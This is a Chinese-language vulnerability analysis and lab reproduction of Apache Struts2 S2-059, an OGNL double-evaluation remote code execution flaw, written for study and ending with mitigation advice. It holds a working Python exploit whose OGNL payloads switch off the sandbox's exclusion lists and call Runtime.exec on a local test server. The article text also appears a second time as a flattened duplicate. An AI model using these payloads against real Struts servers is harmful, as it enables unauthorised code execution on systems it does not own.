S2-059 RCE浅析
字数 1372 2025-08-19 12:42:04

Apache Struts2 S2-059 RCE漏洞分析与复现

漏洞概述

Apache Struts2框架在处理某些标签时,会对标签属性值进行二次表达式解析。当标签属性值使用了类似%{payload}且payload为用户可控时,攻击者可以构造恶意payload参数,通过OGNL表达式执行导致远程代码执行(RCE)。

影响范围

  • Struts 2.0.0 - Struts 2.5.20

利用条件

  1. 开启altSyntax功能(默认开启)
  2. 标签id属性中存在表达式且可控

前置知识

OGNL表达式

OGNL(Object-Graph Navigation Language)是对象图导航语言,具有以下特点:

  1. 支持对象方法调用:objName.methodName()
  2. 支持类静态方法调用和值访问:@[类全名]@[方法名|值名]
  3. 支持赋值操作和表达式串联
  4. 可以访问OGNL上下文(ActionContext)
  5. 可以操作集合对象

OGNL关键符号

  1. #符号:

    • 访问非根元素(相当于ActionContext.getContext())
    • 过滤和投影集合:persons.{?#this.age>28}
    • 构造Map:#{'foo1':'bar1','foo2':'bar2'}
  2. %符号:

    • 在标志属性为字符串类型时计算OGNL表达式的值(类似eval)
  3. $符号:

    • 在国际化资源文件中引用OGNL表达式
    • 在Struts2配置文件中引用OGNL表达式

漏洞复现

测试环境搭建

  1. 使用JDK 8u66 + Tomcat 7.0.72 + Struts 2.5.16
  2. 创建测试项目(代码已上传至Github)

测试代码

S2059.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
    <title>S2059</title>
</head>
<body>
<s:a id="%{id}">SimpleTest</s:a>
</body>
</html>

Struts.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <constant name="struts.devMode" value="false"/>
    <package name="default" namespace="/" extends="struts-default">
        <default-action-ref name="index"/>
        <action name="S2059" class="org.heptagram.action.IndexAction" method="Test">
            <result>S2059.jsp</result>
        </action>
    </package>
</struts>

IndexAction.java:

package org.heptagram.action;

import com.opensymphony.xwork2.ActionSupport;

public class IndexAction extends ActionSupport {
    private String id;
    
    public String getId() { return id; }
    public void setId(String id) { this.id = id; }
    public String Test() { return SUCCESS; }
}

简易测试

访问URL并提交id参数:

http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=1

构造恶意payload:

http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=%25{8*8}

EXP测试

import requests

url = "http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059"

# 第一步:绕过沙盒限制
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}

# 第二步:执行命令
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc.exe'))}"
}

res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

漏洞分析

漏洞触发流程

  1. 标签解析入口org.apache.struts2.views.jsp.ComponentTagSupportdoStartTag方法处理标签解析
  2. 获取值栈信息:通过this.getStack()获取值栈
  3. 创建Anchor对象:通过this.getBean创建并注入ActionContext.container
  4. 参数赋值操作:调用this.populateParams()进行标签属性赋值
  5. 表达式解析
    • 第一次解析:在findString方法中解析%{id}
    • 第二次解析:在evaluateParams方法中通过populateComponentHtmlId再次解析表达式

关键点分析

  1. 双重解析机制

    • 第一次解析将%{id}解析为%{8*8}
    • 第二次解析将%{8*8}解析为64,导致表达式执行
  2. maxLoopCount限制

    • 表达式解析有最大循环次数限制,每次只能解析一层
    • 通过两次独立的解析过程绕过此限制
  3. altSyntax功能

    • 默认开启,允许使用%{}语法
    • 是漏洞触发的必要条件

安全建议

  1. 升级到Struts最新版本
  2. 检查并限制用户输入的OGNL表达式
  3. 关闭不必要的altSyntax功能

参考链接

  1. Apache官方公告
  2. 漏洞分析文章
  3. Vulhub复现环境
Apache Struts2 S2-059 RCE漏洞分析与复现 漏洞概述 Apache Struts2框架在处理某些标签时,会对标签属性值进行二次表达式解析。当标签属性值使用了类似 %{payload} 且payload为用户可控时,攻击者可以构造恶意payload参数,通过OGNL表达式执行导致远程代码执行(RCE)。 影响范围 Struts 2.0.0 - Struts 2.5.20 利用条件 开启altSyntax功能(默认开启) 标签id属性中存在表达式且可控 前置知识 OGNL表达式 OGNL(Object-Graph Navigation Language)是对象图导航语言,具有以下特点: 支持对象方法调用: objName.methodName() 支持类静态方法调用和值访问: @[类全名]@[方法名|值名] 支持赋值操作和表达式串联 可以访问OGNL上下文(ActionContext) 可以操作集合对象 OGNL关键符号 # 符号: 访问非根元素(相当于ActionContext.getContext()) 过滤和投影集合: persons.{?#this.age>28} 构造Map: #{'foo1':'bar1','foo2':'bar2'} % 符号: 在标志属性为字符串类型时计算OGNL表达式的值(类似eval) $ 符号: 在国际化资源文件中引用OGNL表达式 在Struts2配置文件中引用OGNL表达式 漏洞复现 测试环境搭建 使用JDK 8u66 + Tomcat 7.0.72 + Struts 2.5.16 创建测试项目(代码已上传至Github) 测试代码 S2059.jsp : Struts.xml : IndexAction.java : 简易测试 访问URL并提交id参数: 构造恶意payload: EXP测试 漏洞分析 漏洞触发流程 标签解析入口 : org.apache.struts2.views.jsp.ComponentTagSupport 的 doStartTag 方法处理标签解析 获取值栈信息 :通过 this.getStack() 获取值栈 创建Anchor对象 :通过 this.getBean 创建并注入 ActionContext.container 参数赋值操作 :调用 this.populateParams() 进行标签属性赋值 表达式解析 : 第一次解析:在 findString 方法中解析 %{id} 第二次解析:在 evaluateParams 方法中通过 populateComponentHtmlId 再次解析表达式 关键点分析 双重解析机制 : 第一次解析将 %{id} 解析为 %{8*8} 第二次解析将 %{8*8} 解析为 64 ,导致表达式执行 maxLoopCount限制 : 表达式解析有最大循环次数限制,每次只能解析一层 通过两次独立的解析过程绕过此限制 altSyntax功能 : 默认开启,允许使用 %{} 语法 是漏洞触发的必要条件 安全建议 升级到Struts最新版本 检查并限制用户输入的OGNL表达式 关闭不必要的altSyntax功能 参考链接 Apache官方公告 漏洞分析文章 Vulhub复现环境